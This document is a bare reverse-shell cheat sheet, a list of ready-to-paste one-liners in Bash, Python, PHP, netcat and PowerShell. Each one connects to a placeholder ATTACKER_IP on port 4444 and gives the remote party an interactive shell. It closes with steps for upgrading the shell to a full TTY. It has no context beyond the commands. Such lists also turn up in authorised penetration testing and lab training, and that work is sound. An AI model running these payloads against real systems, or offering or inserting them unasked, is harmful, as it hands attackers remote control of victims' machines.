Cheat Sheet Library

# Bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'

# Python 3
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# PHP
php -r '$sock=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

# Netcat (with -e)
nc ATTACKER_IP 4444 -e /bin/bash

# Netcat (without -e, pipe trick)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f

# PowerShell (Windows)
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

# Upgrade shell to fully interactive TTY
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Then: Ctrl+Z → stty raw -echo; fg → export TERM=xterm